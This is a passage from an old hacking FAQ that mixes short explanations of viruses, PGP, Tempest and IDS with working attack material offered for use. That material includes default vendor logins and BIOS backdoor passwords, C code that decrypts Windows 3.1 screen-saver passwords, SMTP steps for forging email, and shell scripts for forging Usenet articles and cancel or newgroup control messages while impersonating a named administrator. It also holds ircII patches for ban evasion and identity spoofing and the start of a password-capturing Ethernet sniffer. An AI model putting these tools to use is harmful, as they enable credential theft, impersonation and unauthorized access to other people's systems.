bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field


Taco Bell

rgm rollout
tacobell <null>


Verifone Junior 2.05

Default password: 166816


VMS

field service
systest utep


XON / XON Junior

Default password: 166831



A-19. What is a trojan/worm/virus/logic bomb?

This FAQ answer was written by Theora:

Trojan:

Remember the Trojan Horse? Bad guys hid inside it until they could get into the city to do their evil deed. A trojan computer program is similar. It is a program which does an unauthorized function, hidden inside an authorized program. It does something other than what it claims to do, usually something malicious (although not necessarily!), and it is intended by the author to do whatever it does. If it's not intentional, its called a 'bug' or, in some cases, a feature :) Some virus scanning programs detect some trojans. Some virus scanning programs don't detect any trojans. No virus scanners detect all trojans.

Virus:

A virus is an independent program which reproduces itself. It may attach to other programs, it may create copies of itself (as in companion viruses). It may damage or corrupt data, change data, or degrade the performance of your system by utilizing resources such as memory or disk space. Some virus scanners detect some viruses. No virus scanners detect all viruses. No virus scanner can protect against "any and all viruses, known and unknown, now and forevermore".

Worm:

Made famous by Robert Morris, Jr., worms are programs which reproduce by copying themselves over and over, system to system, using up resources and sometimes slowing down the systems. They are self contained and use the networks to spread, in much the same way viruses use files to spread. Some people say the solution to viruses and worms is to just not have any files or networks. They are probably correct. We would include computers.

Logic Bomb:

Code which will trigger a particular form of 'attack' when a designated condition is met. For instance, a logic bomb could delete all files on Dec. 5th. Unlike a virus, a logic bomb does not make copies of itself.



A-20. How can I protect myself from viruses and such?

This FAQ answer was written by Theora:

The most common viruses are boot sector infectors. You can help protect yourself against those by write protecting all disks which you do not need write access to. Definitely keep a set of write protected floppy system disks. If you get a virus, it will make things much simpler. And, they are good for coasters. Only kidding.

Scan all incoming files with a recent copy of a good virus scanner. Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and Thunderbyte Anti-Virus. AVP is also a good program. Using more than one scanner could be helpful. You may get those one or two viruses that the other guy happened to miss this month.

New viruses come out at the rate of about 8 per day now. NO scanner can keep up with them all, but the four mentioned here do the best job of keeping current. Any good scanner will detect the majority of common viruses. No virus scanner will detect all viruses.

Right now there are about 5600 known viruses. New ones are written all the time. If you use a scanner for virus detection, you need to make sure you get frequent updates. If you rely on behavior blockers, you should know that such programs can be bypassed easily by a technique known as tunnelling.

You may want to use integrity checkers as well as scanners. Keep in mind that while these can supply added protection, they are not foolproof.

You may want to use a particular kind of scanner, called resident scanners. Those are programs which stay resident in the computer memory and constantly monitor program execution (and sometimes even access to the files containing programs). If you try to execute a program, the resident scanner receives control and scans it first for known viruses. Only if no such viruses are found, the program is allowed to execute.

Most virus scanners will not protect you against many kinds of trojans, any sort of logic bombs, or worms. Theoretically, they could protect you against logic bombs and/or worms, by addition of scanning strings; however, this is rarely done.

The best, actually only way, to protect yourself is to know what you have on your system and make sure what you have there is authorized by you. Make frequent backups of all important files. Keep your DOS system files write protected. Write protect all disks that you do not need to write to. If you do get a virus, don't panic. Call the support department of the company who supplies your anti-virus product if you aren't sure of what you are doing. If the company you got your anti-virus software from does not have a good technical support department, change companies.

The best way to make sure viruses are not spread is not to spread them. Some people do this intentionally. We discourage this. Viruses aren't cool.



A-21. Where can I get more information about viruses?

This FAQ answer was written by Theora:

Assembly language programming books illustrate the (boring) aspect of replication and have for a long time. The most exciting/interesting thing about viruses is all the controversy around them. Free speech, legality, and cute payloads are a lot more interesting than "find first, find next" calls. You can get information about the technical aspects of viruses, as well as help if you should happen to get a virus, from the virus-l FAQ, posted on comp. virus every so often. You can also pick up on the various debates there. There are alt.virus type newsgroups, but the level of technical expertise is minimal, and so far at least there has not been a lot of real "help" for people who want to get -rid- of a virus.

There are a lot of virus experts. To become one, just call yourself one. Only Kidding. Understanding viruses involves understanding programming, operating systems, and their interaction. Understanding all of the 'Cult of Virus' business requires a lot of discernment. There are a number of good papers available on viruses, and the Cult of Virus; you can get information on them from just about anyone listed in the virus-l FAQ. The FTP site ftp.informatik.uni-hamburg.de is a pretty reliable site for programs and text.



A-22. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from Computer Security Basics by Deborah Russell and G.T. Gengemi Sr.

A message is called either plaintext or cleartext. The process of disguising a message in such a way as to hide its substance is called encryption. An encrypted message is called ciphertext. The process of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography, and it is practiced by cryptographers. Cryptanalysts are practitioners of cryptanalysis, the art and science of breaking ciphertext, i.e. seeing through the disguise. The branch of mathematics embodying both cryptography and cryptanalysis is called cryptology, and it's practitioners are called cryptologists.



A-23. What is PGP?

This FAQ answer is excerpted from PGP(tm) User's Guide; Volume I: Essential Topics by Philip Zimmermann

PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely with people you've never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MS-DOS, Unix, VAX/VMS, and other computers. PGP allows people to exchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public-key functions faster than most other software implementations. PGP is public key cryptography for the masses.



A-24. What is Tempest?

Tempest stands for Transient Electromagnetic Pulse Surveillance Technology.

Computers and other electronic equipment release interference to their surrounding environment. You may observe this by placing two video monitors close together. The pictures will behave erratically until you space them apart.

What is important for an observer is the emission of digital pulses (1s and 0s) as these are used in computers. The channel for this radiation is in two arrangements, radiated emissions and conducted emissions. Radiated emissions are assembled when components in electrical devices form to act as antennas. Conducted emissions are formed when radiation is conducted along cables and wires.

Although most of the time these emissions are simply annoyances, they can sometimes be very helpful. Suppose we wanted to see what project a target was working on. We could sit in a van outside her office and use sensitive electronic equipment to attempt to pick up and decipher the radiated emissions from her video monitor. These emissions normally exist at around 55-245 Mhz and can be picked up as far as one kilometer away.

A monitoring device can distinguish between different sources emitting radiation because the sources emanating the radiation are made up of dissimilar elements and so this coupled with other factors varies the emitted frequency. For example different electronic components in VDUs, different manufacturing processes involved in reproducing the VDUs, different line syncs, etc... By synchronizing our raster with the targets raster we can passively draw the observed screen in real-time. This technology can be acquired by anyone, not just government agencies.

The target could shield the emissions from her equipment or use equipment that does not generate strong emissions. However, Tempest equipment is not legal for civilian use in the United States.

Tempest is the US Government program for evaluation and endorsement of electronic equipment that is safe from eavesdropping. Tempest certification refers to the equipment having passed a testing phase and agreeing to emanations rules specified in the government document NACSIM 5100A (Classified). This document sets forth the emanation levels that the US Government believes equipment can give off without compromising the information it is processing.



A-25. How do I defeat Copy Protection?

There are two common methods of defeating copy protection. The first is to use a program that removes copy protection. Popular programs that do this are CopyIIPC from Central Point Software and CopyWrite from Quaid Software. The second method involves patching the copy protected program. For popular software, you may be able to locate a ready made patch. You can them apply the patch using any hex editor, such as debug or the Peter Norton's DiskEdit. If you cannot, you must patch the software yourself.

Writing a patch requires a debugger or a disassembler. It also requires some knowledge of assembly language. Load the protected program under the debugger and watch for it to check the protection mechanism. When it does, change that portion of the code. The code can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump Unconditionally). Or the code may simply be replaced with NOP (No Operation) instructions.



A-26. What are some available debuggers and disassemblers?

Debuggers

Soft-Ice ($439)
Soft-Ice for Windows ($329)
Soft-Ice for Windows95 ($329)
Soft-Ice for WindowsNT ($329)
Nu-Mega Technologies, Inc.
9 Townsend West
Nashua, NH 03063
http://www.compuware.com/products/numega/index.htm
(603)889-2386
(800)468-6342

D86: Eric Isaacson's ShareWare debugger
http://eji.com/a86/

BrandX full-screen debugger
ftp://ftp.cdrom.com/pub/simtelnet/msdos/asmutl/bxd26.zip


Disassemblers

Sourcer ($95)
V Communications, Inc.
4320 Stevens Creek Boulevard
Suite 120
San Jose, CA 95129
(408)296-4224
(408)296-4441 Fax
http://www.v-com.com/product/devsou1.html E-mail: [email protected]

IDA Pro(Interactive Disassembler)
http://www.datarescue.com/



A-27. How do I defeat a BIOS password?

This depends on what BIOS the machine has. Common BIOS's include AMI, Award, IBM and Phoenix. Numerous other BIOS's do exist, but these are the most common.

Some BIOS's allow you to require a password be entered before the system will boot. Some BIOS's allow you to require a password to be entered before the BIOS setup may be accessed.

Every BIOS must store this password information somewhere. If you are able to access the machine after it has been booted successfully, you may be able to view the password. You must know the memory address where the password is stored, and the format in which the password is stored. Or, you must have a program that knows these things.

You can write your own program to read the CMOS memory on a PC by writing the address of the byte of CMOS memory that you wish to read in port 0x370, and then reading the contents of port 0x371.

The most common pre-written BIOS password attack programs are for AMI BIOS. Some password attack programs will return the AMI BIOS password in plain text, some will return it in ASCII codes, some will return it in scan codes. This appears to be dependent not just on the password attacker, but also on the version of AMI BIOS.

To obtain AMI BIOS password attackers, ftp to oak.oakland.edu /pub/simtelnet/msdos/sysutl/.

Award BIOS appears not to store the BIOS password, but instead only stores a two byte checksum of the BIOS password. This means that any other password with the same checksum will work just as well as the original password.

In addition, Award BIOS seems to implement backdoor passwords. One backdoor password is eight spaces. Other backdoor passwords are "AWARD_SW", "AWARD_PW", "589589", "condo", "j262", "KDD", "ZBAAACA", "ZAAAADA", and "ZJAAADC." Remember that these may not be the actual backdoor passwords, these passwords may simply have the same checksum as the actual backdoor passwords. This checksum is stored at F000:EC60.

If you cannot access the machine after if has been powered up, it is still possible to get past the password. The password is stored in CMOS memory that is maintained while the PC is powered off by a small battery, which is attached to the motherboard. If you remove this battery, all CMOS information will be lost. You will need to re-enter the correct CMOS setup information to use the machine. The machines owner or user will most likely be alarmed when it is discovered that the BIOS password has been deleted.

On some motherboards, the battery is soldered to the motherboard, making it difficult to remove. If this is the case, you have another alternative. Somewhere on the motherboard you should find a jumper that will clear the BIOS password. If you have the motherboard documentation, you will know where that jumper is. If not, the jumper may be labeled on the motherboard. If you are not fortunate enough for either of these to be the case, you may be able to guess which jumper is the correct jumper. This jumper is usually standing alone near the battery. If you cannot locate this jumper, you might short both of the points where the battery connects to the motherboard. Several people have reported positive results from doing this, but I haven't wanted to test it on any of my own motherboards.



A-28. What is the password for <encrypted file>?

This FAQ answer was written by crypt <[email protected]>

Magazine Password
VLAD Magazine Issue #1 vlad
VLAD Magazine Issue #2 vx
VLAD Magazine Issue #3 virus
NuKE InfoJournal Issue #2 514738
NuKE InfoJournal Issue #3 power
NuKE InfoJournal Issue #4 party

Program

Sphere Hacker 1.40 & 1.41 theozone
Virus Creation 2000 high level
Virus Construction Lab Chiba City
Ejecutor Virus Creator EJECUTOR
Biological Warfare v0.90 lo tek
Biological Warfare v1.00 freak



A-29. Is there any hope of a decompiler that would convert an executable program into C/C++ code?

This FAQ answer is an excerpt from SNIPPETS by Bob Stout:

Don't hold your breath. Think about it... For a decompiler to work properly, either 1) every compiler would have to generate substantially identical code, even with full optimization turned on, or 2) it would have to recognize the individual output of every compiler's code generator.

If the first case were to be correct, there would be no more need for compiler benchmarks since every one would work the same. For the second case to be true would require in immensely complex program that had to change with every new compiler release.

OK, so what about specific decompilers for specific compilers - say a decompiler designed to only work on code generated by, say, BC++ 4.5? This gets us right back to the optimization issue. Code written for clarity and understandability is often inefficient. Code written for maximum performance (speed or size) is often cryptic (at best!) Add to this the fact that all modern compilers have a multitude of optimization switches to control which optimization techniques to enable and which to avoid. The bottom line is that, for a reasonably large, complex source module, you can get the compiler to produce a number of different object modules simply by changing your optimization switches, so your decompiler will also have to be a deoptimizer which can automagically recognize which optimization strategies were enabled at compile time.

OK, let's simplify further and specify that you only want to support one specific compiler and you want to decompile to the most logical source code without trying to interpret the optimization. What then? A good optimizer can and will substantially rewrite the internals of your code, so what you get out of your decompiler will be, not only cryptic, but in many cases, riddled with goto statements and other no-no's of good coding practice. At this point, you have decompiled source, but what good is it?

Also note carefully my reference to source modules. One characteristic of C is that it becomes largely unreadable unless broken into easily maintainable source modules (.C files). How will the decompiler deal with that? It could either try to decompile the whole program into some mammoth main() function, losing all modularity, or it could try to place each called function into its own file. The first way would generate unusable chaos and the second would run into problems where the original source hade files with multiple functions using static data and/or one or more functions calling one or more static functions. A decompiler could make static data and/or functions global but only at the expense or readability (which would already be unacceptable).

Finally, remember that commercial applications often code the most difficult or time-critical functions in assembler which could prove almost impossible to decompile into a C equivalent.

Like I said, don't hold your breath. As technology improves to where decompilers may become more feasible, optimizers and languages (C++, for example, would be a significantly tougher language to decompile than C) also conspire to make them less likely.

For years Unix applications have been distributed in shrouded source form (machine but not human readable -- all comments and whitespace removed, variables names all in the form OOIIOIOI, etc.), which has been a quite adequate means of protecting the author's rights. It's very unlikely that decompiler output would even be as readable as shrouded source.



A-30. How does the MS-Windows password encryption work?

This FAQ answer was written by Wayne Hoxsie <[email protected]>:

The password option in MS Win 3.1 is easily defeated, but there are those of us who really want to know how MS does this. There are many reasons why knowing the actual password can be useful. Suppose a sysamin used the same password in the windows screen saver as his root account on a unix box.

Anyway, I will attempt to relay what I have learned about this algorithm.

I will describe the process starting after you've entered the password and hit the [OK] button.

I will make the assumtion that everyone (at least those interested) know what the XOR operation is.

First, the length of the password is saved. We'll call this 'len'. We will be moving characters from the entered string into another string as they are encrypted. We'll call the originally entered password 'plaintext' and the encrypted string(strings--there are two passes) 'hash1' and 'hash2.' The position in the plaintext is important during the process so we'll refer to this as 'pos.' After each step of the hashing process, the character is checked against a set of characters that windows considers 'special.' These characters are '[ ] =' and any character below ASCII 33 or above ASCII 126. I'll refer to this checking operation as 'is_ok.' All indecies are zero-based (i.e. an 8 character password is considered chars 0 to 7).

Now, the first character of 'plaintext' is xor'd with 'len' then fed to 'is_ok'. if the character is not valid, it is replaced by the original character of 'plaintext' before going to the next operation. The next operation is to xor with 'pos' (this is useless for the first operation since 'len' is 0 and anything xor'd with zero is itself) then fed to 'is_ok' and replaced with the original if not valid. The final operation (per character) is to xor it with the previous character of 'plaintext'. Since there is no previous character, the fixed value, 42, is used on the first character of 'plaintext'. This is then fed to 'is_ok' and if OK, it is stored into the first position of 'hash1' This process proceeds until all characters of plaintext are exhausted.

The second pass is very similar, only now, the starting point is the last character in hash1 and the results are placed into hash2 from the end to the beginning. Also, instead of using the previous character in the final xoring, the character following the current character is used. Since there is no character following the last character in hash1, the value, 42 is again used for the last character.

'hash2' is the final string and this is what windows saves in the file CONTROL.INI.

To 'decrypt' the password, the above procedure is just reversed.

Now, what you've all been waiting for. Here is some C code that will do the dirty work for you:

#include <stdlib.h>
#include <stdio.h>

#include <string.h>

int xor1(int i,int j)
{
  int x;

  x=i^j;
  return (x>126||x<33||x==91||x==93||x==61)?i:x;
}
void main()
{
  FILE *f;
  int i,l;
  char s[80],s1[80];

  printf("Please enter the path to your Windows directory\n");
  gets(s1);
  sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");
  if((f=fopen(s,"rt"))==NULL){
    printf("File Error : %s\n",sys_errlist[errno]);
    exit(0);
  }
  while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f));
  fclose(f);
  strtok(s1,"=\n");
  strcpy(s,strtok(NULL,"\n"));
  i=strlen(s)-1;
  for(l=i;l>-1;l--)
    s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
  for(l=0;l<i+1;l++)
    s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1);
  printf("The Password is: %s\n",s);
}

A-31. What is an Intrusion Detection System (IDS)?

An Intrusion Detection System is a system for detecting misuse of network or computer resources.

An IDS will have a number of sensors it utilizes to detect intrusions. Example sensors may be:

  • A sensor to monitor TCP connection requests.
  • Log file monitors.
  • File integrity checkers.
  • The IDS system is responsible for collecting data from it's sensors and analyzing this data to give the security administrator notice of malicious activity on the network.


    Section B -- Data Networks



    B-01. How do I send fakemail?

    Telnet to port 25 of the machine you want the mail to appear to originate from. This will connect you directly to the SMTP (Simple Mail Transfer Protocol) daemon running on that host. Then, enter SMTP commands by hand directly to the SMTP daemon.

    Enter your message as in this example:

    HELO bellcore.com
    MAIL FROM:[email protected]
    RCPT TO:[email protected]
    DATA
    Date: Thu, 31 Dec 1998 12:16:35 -0500 (EST)
    From: [email protected] (The Voyager)
    To: [email protected]
    Subject: Clipper
    Reply-To: [email protected]

    Please discontinue your silly Clipper initiative.

    .
    QUIT

    On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not work. Test by sending yourself fakemail first.

    Newer SMTP daemons, such as smail 3.1.29.1+ or sendmail 8.7+, perform an identd check when you connect to them. These SMTP daemons are impossible to completely spoof without first spoofing identd.

    For more information read RFC 822 (Standard for the format of ARPA Internet text messages).

    Note that the headers inside the DATA statement should be optional, but are actually required by some mailers. Even when not required, they often help your message appear genuine.

    To locate an SMTP server for a domain, use `nslookup` and set your querytype to MX.



    B-02. How do I fake posts and control messages to Usenet?

    From: Anonymous (Pretending to be: [email protected] (David C Lawrence))
    Subject: FAQ: Better living through forgery
    Date: 19 Mar 1995 02:37:09 GMT


    Anonymous netnews without "anonymous" remailers

    Inspired by the recent "NetNews Judges-L" events, this file has been updated to cover forging control messages, so you can do your own article canceling and create and destroy your own newsgroups.

    Save any news article to a file. We'll call it "hak" in this example.

    Edit "hak", and remove any header lines of the form

    From some!random!path!user (note: "From ", not "From: "!!!)
    Article:
    Lines:
    Xref:
    Shorten the Path header down to its LAST two or three "bangized" components. This is to make the article look like it was posted from where it really was posted, and originally hit the net at or near the host you send it to. Or you can construct a completely new Path: line to reflect your assumed alias. Make some change to the Message ID: field, that isn't likely to be duplicated anywhere. This is usually best done by adding a couple of random characters to the part before the @, since news posting programs generally use a fixed-length field to generate these IDs.

    Change the other headers to say what you like -- From:, Newsgroups:,

    Sender:, etc. Replace the original message text with your message. If
    you are posting to a moderated group or posting a control message,
    remember to put in an Approved: header to bypass the moderation
    mechanism.


    To specifically cancel someone else's article, you need its message-ID. Your message headers, in addition to what's already there, should also contain the following with that message-ID in it. This makes it a "control message". NOTE: control messages generally require an

    Approved: header as well, so you should add one.

    Subject: cmsg cancel <[email protected]>
    Control: cancel <[email protected]>
    Approved: [email protected]


    Newsgroups are created and destroyed with control messages, too. If you wanted to create, for instance, comp.misc.microsoft.sucks, your control headers would look like

    Subject: cmsg newgroup comp.misc.microsoft.sucks
    Control: newgroup comp.misc.microsoft.sucks


    Add on the string "moderated" at the end of these if you want the group to be "moderated with no moderator" as with alt.hackers. Somewhere in the body of your message, you should include the following text, changed with the description of the group you're creating:

    For your newsgroups file:

    comp.misc.microsoft.sucks We don't do windows

    To remove a group, substitute "rmgroup" for "newgroup" in the header lines above. Keep in mind that most sites run all "rmgroup" requests through a human news-master, who may or may not decide to honor it. Group creation is more likely to be automatic than deletion at most installations. Any newsgroup changes are more likely to take effect if the come from me, since my name is hardwired into many of the NNTP control scripts, so using the From: and Approved: headers from this posting is recommended.

    Save your changed article, check it to make sure it contains NO reference to yourself or your own site, and send it to your favorite NNTP server that permits transfers via the IHAVE command, using the following script:

    #! /bin/sh
    ## Post an article via IHAVE.
    ## args: filename server
    
     if test "$2" = "" ; then
      echo usage: $0 filename server
      exit 1
    fi
    if test ! -f $1 ; then
      echo $1: not found
      exit 1
    fi
    
    # suck msg-id out of headers, keep the brackets
    msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
      sed 's/.*-[Ii][Dd]: //'`
    echo $msgid
    
    ( sleep 5
       echo IHAVE $msgid
       sleep 5
       cat $1
       sleep 1
        echo "."
       sleep 1
       echo QUIT ) | telnet $2 119
    
    

    If your article doesn't appear in a day or two, try a different server. They are easy to find. Here's a script that will break a large file full of saved netnews into a list of hosts to try. Edit the output of this if you want, to remove obvious peoples' names and other trash.

    #! /bin/sh
    FGV='fgrep -i -v'
    egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
    /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
    

    Once you have your host list, feed it to the following script.

     #! /bin/sh
    
     while read xx ; do
     if test "$xx" = "" ; then continue;
     fi
     echo === $xx
     ( echo open $xx 119
       sleep 5
       echo ihave [email protected]
       sleep 4
       echo .
       echo quit
       sleep 1
       echo quit
     ) | telnet
     done
    
    If the above script is called "findem" and you're using csh, you should do:
    findem < list >& outfile

    so that ALL output from telnet is captured. This takes a long time, but when it finishes, edit "outfile" and look for occurrences of "335". These mark answers from servers that might be willing to accept an article. This isn't a completely reliable indication, since some servers respond with acceptance and later drop articles. Try a given server with a slightly modified repeat of someone else's message, and see if it eventually appears.

    Sometimes the telnets get into an odd state, and freeze, particularly when a host is refusing NNTP connections. If you manually kill these hung telnet processes but not the main script, the script will continue on. In other words, you may have to monitor the finding script a little while it is running.

    You will notice other servers that don't necessarily take an IHAVE, but say "posting ok". You can probably do regular POSTS through these, but they will add an "NNTP-Posting-Host: " header containing the machine YOU came from and are therefore unsuitable for completely anonymous use.

    Please use the information in this article for constructive purposes only.


    B-03. How do I hack ChanOp on IRC?

    Find a server that is split from the rest of IRC and create your own channel there using the name of the channel you want ChanOp on. When that server reconnects to the net, you will have ChanOp on the real channel. If you have ServerOp on a server, you can cause it to split on purpose.



    B-04. How do I modify the IRC client to hide my real username?

    Note: This FAQ answer was written by someone else, but I do not know who. If you know who originally wrote this, please e-mail me.

    Applying these changes to the source code for your ircII client and recompiling gives you a new ircII command: /NEWUSER. This new command can be used as follows:

    The effect is basically changing your username/IRCname on the fly. Although you are disconnected from your server and reconnected, the ircII client is never exited, thus keeping all your state information and aliases intact. This is ideal for bots that wish to be really obnoxious in ban evasion. ;)

    As this is now a new command in ircII, it can be used in scripts. Be aware that the reconnect associated with the NEWUSER command takes time, so TIMER any commands that must immediately follow the NEWUSER. For example... ban evasion made easy (but beware infinite reconnects when your site is banned):

    on ^474 * {
      echo *** Banned from channel $1
      if ($N == [AnnMurray]) {
        nick $randomstring
        join $1
        } {
        nick AnnMurray
        newuser $randomstring
        timer 5 join $1
        }
      }
    

    Or just to be annoying... a /BE <nickname> alias that will assume a person's username and IRCNAME:

    alias be {
      ^on ^311 * {
        ^on 311 -*
        newuser $2 $5-
        }
      whois $0
      }
    

    Now... in order to add this command to your ircII client, get the latest client source (or whatever client source you are using). Cd into the source directory and edit the file "edit.c". Make the following changes:

    Locate the line which reads:

    extern  void    server();

    Insert the following line after it:
    static  void    newuser();


    This pre-defines a new function "newuser()" that we'll add later.


    Now, locate the line which reads:
    "NAMES",        "NAMES",        funny_stuff,            0,
    
    Insert the following line after it:
    "NEWUSER",      NULL,           newuser,                0,
    

    This adds a new command NEWUSER to the list of valid IRCII commands, and tells it to call our new function newuser() to perform it.


    Finally, go the bottom of the file and add the following code as our new function "newuser()":

    /*
     * newuser: the /NEWUSER command.  Added by Hendrix
     *   Parameters as follows:
     *     /NEWUSER  [new_IRCNAME]
     *        is a new username to use and is required
     *       [new_IRCNAME] is a new IRCNAME string to use and is optional
     *   This will disconnect you from your server and reconnect using
     *     the new information given.  You will rejoin all channels you
     *     are currently on and keep your current nickname.
     */
    
    static void    newuser(command, args)
    char    *command,
            *args;
    {
            char    *newuname;
    
            if (newuname = next_arg(args, &args))
            {
                    strmcpy(username, newuname, NAME_LEN);
                    if (*args)
                            strmcpy(realname, args, REALNAME_LEN);
                    say("Reconnecting to server...");
                    close_server(from_server);
                    if (connect_to_server(server_list[from_server].name,
                          server_list[from_server].port, primary_server) !=
    -1)
                    {
                            change_server_channels(primary_server,
    from_server);
                            set_window_server(-1, from_server, 1);
                    }
                    else
                            say("Unable to reconnect. Use /SERVER to
    connect.");
            }
            else
                    say("You must specify a username and, optionally, an
    IRCNAME");
    }
    
    
    

    /NEWUSER will not hide you from a CTCP query. To do that, modify ctcp.c as shown in the following diff and set an environment variable named CTCPFINGER with the information you would like to display when queried.

    *** ctcp.old
    --- ctcp.c
    ***************
    *** 334 ****
    !       char    c;
    --- 334 ---
    !       char    c, *fing;
    ***************
    *** 350,354 ****
    !               if (pwd = getpwuid(uid))
                    {
                            char    *tmp;
    --- 350,356 ----
    !               if (fing = getenv("CTCPFINGER"))
    !                       send_ctcp_reply(from, ctcp->name, fing, diff,
    c);
    !               else if (pwd = getpwuid(uid))
                    {
                            char    *tmp;
    



    B-05. What is sniffing?

    Sniffing is listening (with software) to the raw network device for packets that interest you. When your software sees a packet that fits certain criteria, it logs it to a file. The most common criteria for an interesting packet is one that contains words like "login" or "password."

    You will have to obtain or code a sniffer that is capable of working with the appropriate type of network interface. Popular network interfaces include NIT (Network Interface Tap), and DLPI (Data Link Provider Interface), and BPF (Berkeley Packet Filter.)

    LLI was a network interface used by SCO, which has been augmented with DLPI support as of SCO OpenServer Release V. NIT was a network interface used by Sun, but has been replaced in later releases of SunOS/Solaris with DLPI. Ultrix supported the Ultrix Packet Filter before Digital implemented support for BPF.

    DLPI is supported under current releases of System V Release 4, SunOS/Solaris, AIX, HP/UX, UnixWare, Irix, and MacOS. DLPI is partially supported under Digital Unix. Sun DLPI version 2 supports Ethernet, X.25 LAPB, SDLC, ISDN LAPD, CSMA/CD, FDDI, token ring, token bus, and Bisync as data-link protocols. The DLPI network interface provided with HP/UX supports Ethernet/IEEE 802.3, IEEE 802.5, FDDI, and Fibre Channel.

    For more information regarding DLPI refer to the DLPI Specification or the paper "How to Use DLPI in Solaris 2.x" by Neal Nuckolls.

    BPF is supported under current releases of BSD and Digital Unix, and has been ported to SunOS and Solaris. AIX supports BPF reads, but not writes. A BPF library is available for Linux.

    Many sniffers are available for various operating systems:

    Sniffer Platform(s) URL
    Ethereal Most http://www.ethereal.com/
    tcpdump Most http://www.tcpdump.org/
    snort Most http://www.snort.org/
    nettl/netfmt HP-UX http://www.compute-aid.com/nettl.html
    nfswatch (NFS sniffer) Unix ftp://ftp.cerias.purdue.edu/pub/tools/unix/netutils/nfswatch/
    Etherman Unix http://www.ja.net/CERT/Software/netman/etherman/etherman-1.1a/
    snoop Solaris  
    etherfind SunOS  
    The Gobbler DOS http://www.umich.edu/~archive/msdos/communications/wattcp/delft/gobbler.zip
    LanWatch DOS/Windows http://www.guesswork.com/
    Microsoft Networm Monitor (Netmon) Windows http://msdn.microsoft.com/library/default.asp?url=/library/en-us/netmon/netmon/using_network_monitor_2_0.asp
    Netwatch DOS, Windows, NetWare http://www.sharpeware.com/r5now/swstatic2.nsf/html/netwatch
    Etherpeek Windows, Macintosh http://www.wildpackets.com/products
    NetMinderEthernet Macintosh http://www.neon.com/NetMinder_Ethernet.html
    Sniff'em Windows http://www.sniff-em.com/
    Network Associates Sniffer Pro Windows http://www.sniffer.com/products/

    Here is source code for a sample ethernet sniffer using NIT under SunOS 4.x:

    /* Esniff.c */
    
    #include <stdio.h>
    #include <ctype.h>
    #include <string.h>
    
    #include <sys/time.h>
    #include <sys/file.h>
    #include <sys/stropts.h>
    #include <sys/signal.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    
    #include <sys/ioctl.h>
    
    #include <net/if.h>
    #include <net/nit_if.h>
    #include <net/nit_buf.h>
    #include <net/if_arp.h>
    
    #include <netinet/in.h>
    #include <netinet/if_ether.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <netinet/ip_var.h>
    
    #include <netinet/udp_var.h>
    #include <netinet/in_systm.h>
    #include <netinet/tcp.h>
    #include <netinet/ip_icmp.h>
    
    #include <netdb.h>
    #include <arpa/inet.h>
    
    #define ERR stderr
    
    char    *malloc();
    char    *device,
    	*ProgName,
    	*LogName;
    FILE    *LOG;
    int     debug=0;
    
    #define NIT_DEV     "/dev/nit"
    #define CHUNKSIZE   4096        /* device buffer size */
    int     if_fd = -1;
    int     Packet[CHUNKSIZE+32];
    
    void Pexit(err,msg)
    int err; char *msg;
    { perror(msg);
      exit(err); }
    
    void Zexit(err,msg)
    int err; char *msg;
    { fprintf(ERR,msg);
      exit(err); }
    
    #define IP          ((struct ip *)Packet)
    #define IP_OFFSET   (0x1FFF)
    #define SZETH       (sizeof(struct ether_header))
    #define IPLEN       (ntohs(ip->ip_len))
    #define IPHLEN      (ip->ip_hl)
    #define TCPOFF      (tcph->th_off)
    #define IPS         (ip->ip_src)
    #define IPD         (ip->ip_dst)
    #define TCPS        (tcph->th_sport)
    #define TCPD        (tcph->th_dport)
    #define IPeq(s,t)   ((s).s_addr == (t).s_addr)
    
    #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
    
    #define MAXBUFLEN  (128)
    time_t  LastTIME = 0;
    
    struct CREC {
         struct CREC *Next,
    		 *Last;
         time_t  Time;              /* start time */
         struct in_addr SRCip,
    		    DSTip;
         u_int   SRCport,           /* src/dst ports */
    	     DSTport;
         u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
         u_int   Length;            /* current data length */
         u_int   PKcnt;             /* # pkts */
         u_long  LASTseq;
    };
    
    struct CREC *CLroot = NULL;
    
    char *Symaddr(ip)
    register struct in_addr ip;
    { register struct hostent *he =
          gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
    
      return( (he)?(he->h_name):(inet_ntoa(ip)) );
    }
    
    char *TCPflags(flgs)
    register u_char flgs;
    { static char iobuf[8];
    #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
    
      SFL(0,TH_FIN, 'F');
      SFL(1,TH_SYN, 'S');
